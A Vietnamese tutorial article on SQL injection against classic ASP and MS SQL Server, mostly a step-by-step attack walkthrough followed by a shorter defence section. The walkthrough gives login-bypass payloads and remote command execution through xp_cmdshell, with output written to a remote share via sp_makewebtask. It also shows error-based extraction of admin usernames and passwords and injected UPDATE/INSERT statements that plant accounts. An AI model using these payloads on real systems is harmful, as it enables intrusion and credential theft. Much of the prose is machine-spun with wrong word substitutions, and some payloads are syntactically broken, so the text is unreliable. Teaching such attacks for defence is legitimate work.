SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống

SQL Injection là kiểu tấn công mạng phổ biến mà bạn cần phải nắm rõ: khái niệm, các dạng, cách thức, quá trình tấn công, hậu quả và cách phòng chống để bảo vệ website, hệ thống của mình.

Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục.

SQL Injection là gì và nó hoạt động giải trí như nào ?

SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 1

Hoạt động

SQL Injection trở thành yếu tố khá thông dụng với những website theo hướng cơ sở tài liệu, đây là một lỗ hổng dễ phát hiện và cũng rất dễ bị khai thác. Bất kỳ website hoặc ứng dụng nào có cơ sở tài liệu người dùng cũng hoàn toàn có thể là tiềm năng của những cuộc tiến công theo kiểu này .
Các cuộc tiến công được thực thi bằng cách đặt một ký tự meta vào tài liệu nguồn vào, sau đó đặt những lệnh SQL trong Control Plane. Lỗ hổng này do SQL không phân biệt được giữa Control Plane và tài liệu .

Tìm hiểu những dạng tiến công SQL Injection

Giả mạo

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 2

Các cuộc tiến công SQL Injection được cho phép những kẻ tiến công giả mạo danh tính, trá hình tài liệu hiện có, để gây ra những yếu tố như vô hiệu những thanh toán giao dịch, biến hóa cân đối, bật mý hàng loạt tài liệu trên mạng lưới hệ thống, tàn phá tài liệu hoặc làm cho tài liệu không còn khả dụng để bọn chúng trở thành quản trị viên của sever cơ sở tài liệu .

Kiểu phổ biến

SQL Injection rất phổ cập với những ứng dụng PHP và ASP do sự thích hợp với những giao diện tính năng cũ hơn. Vì thực chất của những giao diện lập trình sẵn có, những ứng dụng J2EE và ASP.NET sẽ ít có năng lực khai thác SQL Injection hơn .

Tính nghiêm trọng

Mức độ nghiêm trọng của những cuộc tiến công SQL Injection được nhìn nhận qua kỹ năng và kiến thức của kẻ tiến công. Ở mức độ thấp hơn, bạn nên bảo mật thông tin bằng những giải pháp đối phó nâng cao, cẩn trọng cao độ về mức độ nghiêm trọng của SQL Injection để giảm thiểu rủi ro đáng tiếc ở mức thấp nhất .

SQL Injection gây ra những ảnh hưởng tác động gì ?

  • Thông tin đăng nhập bị đánh cắp: Sử dụng SQL Injection để tìm kiếm thông tin đăng nhập người dùng. Sau đó, những kẻ tấn công có thể mạo danh người dùng, sử dụng và thay đổi các quyền hạn của người dùng sẵn có.
  • Truy cập cơ sở dữ liệu: Sử dụng SQL Injection để truy cập vào nguồn thông tin được lưu trữ trong máy chủ cơ sở dữ liệu. Điều này có thể gây ra những vấn đề nghiêm trọng cho các dữ liệu của toàn bộ hệ thống vận hành.
  • Xóa dữ liệu: Sử dụng SQL Injection để xóa các bản ghi của cơ sở dữ liệu, bao gồm cả drop tables, gây ra những sự thay đổi hoặc phá vỡ các cấu trúc của cơ sở dữ liệu.
  • Dữ liệu thay thế: Sử dụng SQL Injection để chủ động thay đổi hoặc thêm dữ liệu mới vào cơ sở dữ liệu hiện tại, ảnh hưởng đến kết quả chiết xuất dữ liệu cuối cùng xảy ra những sai lệch.
  • Mạng lưới truy cập: Sử dụng SQL Injection để truy cập vào các máy chủ cơ sở dữ liệu và sử dụng các quyền hạn quản lý trong hệ điều hành. Sau đó, những kẻ tấn công sẽ thực hiện các cuộc tấn công sâu hơn vào mạng lưới.

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống3

Còn giờ đây thì xem chi tiết cụ thể hàng loạt quy trình tiến công bằng SQL Injection bên dưới đây nhé .

Quá trình tiến công bằng SQL Injection

1. Tìm kiếm mục tiêu

Có thể tìm những website được cho phép submit tài liệu ở bất kể một trình tìm kiếm nào trên mạng, ví dụ điển hình như những trang login, search, feedback, …
Ví dụ :

http://yoursite.com/index.asp?id=10

Một số website chuyển tham số qua những field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới .

2. Kiểm tra chỗ yếu của trang web

Thử submit những field username, password hoặc field id, .. bằng hi ’ or 1 = 1 –

Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, hãy tải về source HTML, lưu trên đĩa cứng và biến hóa lại URL cho tương thích. Ví dụ :

Nếu thành công xuất sắc, thì hoàn toàn có thể login vào mà không cần phải biết username và password

3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP link đến một ASP trang khác với URL như sau :

http://yoursite.com/index.asp?category=food

Trong URL trên, biến ‘ category ’ được gán giá trị là ‘ food ’. Mã ASP của trang này hoàn toàn có thể như sau ( đây chỉ là ví dụ thôi ) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request ( “ category ” ) là ‘ food ’ và câu lệnh SQL tiếp theo sẽ là :

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng tương thích với điều kiện kèm theo WHERE PCategory = ’ food ’
Nếu đổi khác URL trên thành http://yoursite.com/index.asp?category=food ’ or 1 = 1 –, biến v_cat sẽ chứa giá trị “ food ’ or 1 = 1 – ” và dòng lệnh SQL query sẽ là :

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product mặc kệ giá trị của trường PCategory có bằng ‘ food ’ hay không. Hai dấu gạch ngang ( – ) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “ – ” sẽ bị bỏ lỡ. Đối với MySQL, hãy thay “ – ” thành “ # ”
Ngoài ra, cũng hoàn toàn có thể thử cách khác bằng cách submit ‘ or ‘ a ’ = ’ a. Dòng SQL query giờ đây sẽ là :

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại tài liệu khác mà cũng nên thử submit để biết xem website có gặp lỗi hay không :

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4. Thi hành lệnh từ xa bằng SQL Injection

Nếu setup với chính sách mặc định mà không có kiểm soát và điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương tự với mức truy vấn Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi ( “ ) nếu dấu nháy đơn ( ‘ ) không thao tác .
Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và được cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, hoàn toàn có thể listen những ICMP packet từ 10.10.1. 2 bằng tcpdump như sau :

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1. 2 nghĩa là lệnh đã được thi hành .

5. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi những output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý : thư mục “ share ” phải được share cho Everyone trước .

6. Nhận dữ liệu qua ‘database using ODBC error message’

Các thông tin lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, giờ đây tất cả chúng ta thử hợp nhất integer ’ 10 ’ với một string khác lấy từ CSDL :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA. TABLES của mạng lưới hệ thống SQL Server chứa thông tin về toàn bộ những bảng ( table ) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó do tại tất cả chúng ta biết rằng nó luôn sống sót. Query của tất cả chúng ta là :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng tiên phong trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int.
/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “ table1 ”. Đây cũng chính là tên của bảng tiên phong trong CSDL mà tất cả chúng ta đang muốn có .
Để lấy tên của tên của bảng tiếp theo, hoàn toàn có thể dùng query sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng hoàn toàn có thể thử tìm tài liệu bằng cách khác trải qua statement LIKE của câu lệnh SQL :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể là :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘ % 25 login % 25 ’ sẽ tương tự với % login % trong SQL Server. Như thấy trong thông tin lỗi trên, tất cả chúng ta hoàn toàn có thể xác lập được tên của một table quan trọng là “ admin_login ” .

7. Xác định tên của các column trong table

Table INFORMATION_SCHEMA. COLUMNS chứa tên của toàn bộ những column trong table. Có thể khai thác như sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Như vậy tên của column tiên phong là “ login_id ”. Để lấy tên của những column tiếp theo, hoàn toàn có thể dùng mệnh đề logic NOT IN ( ) như sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tựa như như trên, hoàn toàn có thể lấy được tên của những column còn lại như “ password ”, “ details ”. Khi đó ta lấy tên của những column này qua những thông tin lỗi của SQL Server, như ví dụ sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

8. Thu thập các dữ liệu quan trọng

Chúng ta đã xác lập được những tên của những table và column quan trọng. Chúng ta sẽ tích lũy những thông tin quan trọng từ những table và column này .
Có thể lấy login_name tiên phong trong table “ admin_login ” như sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user tiên phong có login_name là “ neo ”. Hãy thử lấy password của “ neo ” như sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Và giờ đây là đã hoàn toàn có thể login vào với username là “ neo ” và password là “ m4trix ” .

9. Nhận các numeric string

Có một hạn chế nhỏ so với chiêu thức trên. Chúng ta không hề nhận được những error message nếu server hoàn toàn có thể chuyển text đúng ở dạng số ( text chỉ chứa những kí tự số từ 0 đến 9 ). Giả sử như password của “ trinity ” là “ 31173 ”. Vậy nếu ta thi hành lệnh sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông tin lỗi “ Page Not Found ”. Lý do do tại server hoàn toàn có thể chuyển passoword “ 31173 ” sang dạng số trước khi UNION với integer 10. Để xử lý yếu tố này, tất cả chúng ta hoàn toàn có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự quy đổi từ text sang số của server. Dòng query mới như sau :

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng ( + ) để nối thêm text vào password ( ASCII code của ‘ + ’ là 0x2 b ). Chúng ta thêm chuỗi ‘ ( space ) morpheus ’ vào cuối password để tạo ra một string mới không phải numeric string là ‘ 31173 morpheus ’. Khi hàm convert ( ) được gọi để chuyển ‘ 31173 morpheus ’ sang integer, SQL server sẽ phát lỗi ODBC error message sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Và nghĩa là giờ đây ta cũng hoàn toàn có thể login vào với username ‘ trinity ’ và password là ‘ 31173 ’

10. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của toàn bộ những column trong table, hoàn toàn có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi / tạo mới một record vào table này .
Để biến hóa password của “ neo ”, hoàn toàn có thể làm như sau :

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table :

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và giờ đây hoàn toàn có thể login vào với username “ neo2 ” và password là “ newpas5 ”

Các trường hợp tiến công SQL Injection thì phải làm thế nào ?

Một số cách tiến công bằng SQL Injection thông dụng nhất

Chèn SQL Injection dựa trên đầu vào

Một cuộc tiến công SQL Injection thường thông dụng với việc sử dụng những nguồn vào của người dùng. Các ứng dụng web đều gật đầu những nguồn vào trải qua nhiều hình thức khác nhau. Thông qua đó, những kẻ tiến công hoàn toàn có thể gắn SQL Injection với những tài liệu nguồn vào và truy vấn vào cơ sở tài liệu sever .

Chèn SQL Injection dựa trên cookie

Một cách tiếp cận khác với SQL Injection là sửa đổi cookie thành những truy vấn cơ sở tài liệu chứa mã độc. Các ứng dụng ô nhiễm hoàn toàn có thể được tiến hành trên thiết bị người dùng trải qua đổi khác của cookie, nhằm mục đích mục tiêu đưa SQL Injection vào những tài liệu Back-end .

Chèn SQL Injection dựa trên headers HTTP

Các biến của sever như headers HTTP cũng hoàn toàn có thể là tiềm năng tiến công của SQL Injection. Nếu một ứng dụng web gật đầu nguồn vào từ những headers HTTP, những headers giả có chứa SQL Injection hoàn toàn có thể xâm nhập vào cơ sở tài liệu .

Chèn SQL Injection bằng bậc hai

Một cuộc tấn SQL Injection bậc hai cung ứng những tài liệu bị nhiễm độc, mà đây là những tài liệu hoàn toàn có thể được xem là lành tình trong một trường hợp nhất định, nhưng chứa những mã độc trong trường hợp khác. Bạn khó hoàn toàn có thể nhận thức được những cuộc tiến công theo phương pháp này .

Ngăn chặn SQL Injection bằng cách nào ?

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 4

Các tổ chức triển khai hoàn toàn có thể tập trung chuyên sâu vào những bước sau đây để bảo vệ mình khỏi những cuộc tiến công SQL Injection :

– Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
– Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
– Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
– Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
– Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
– Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
– Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:
input do người dùng đệ trình
các tham số từ URL
các giá trị từ cookie
– Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
– Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure trong database master mà không dùng như:
xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask

Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần trấn áp tốt những thông tin lỗi. Và mặc định trong ASP.NET là thông tin lỗi sẽ không được thông tin cụ thể khi không chạy trên localhost .

Qua bài viết đầy đủ và chi tiết trên đây, chúng tôi chắc chắn bạn đã hiểu hơn về SQL Injection từ khái niệm, cách thức hoặt động cho đến quá trình tấn công và cách phòng chống hiệu quả nhất. Hi vọng những thông tin này giúp ích nhiều cho bạn đọc.

Nguồn bài : Tổng hợp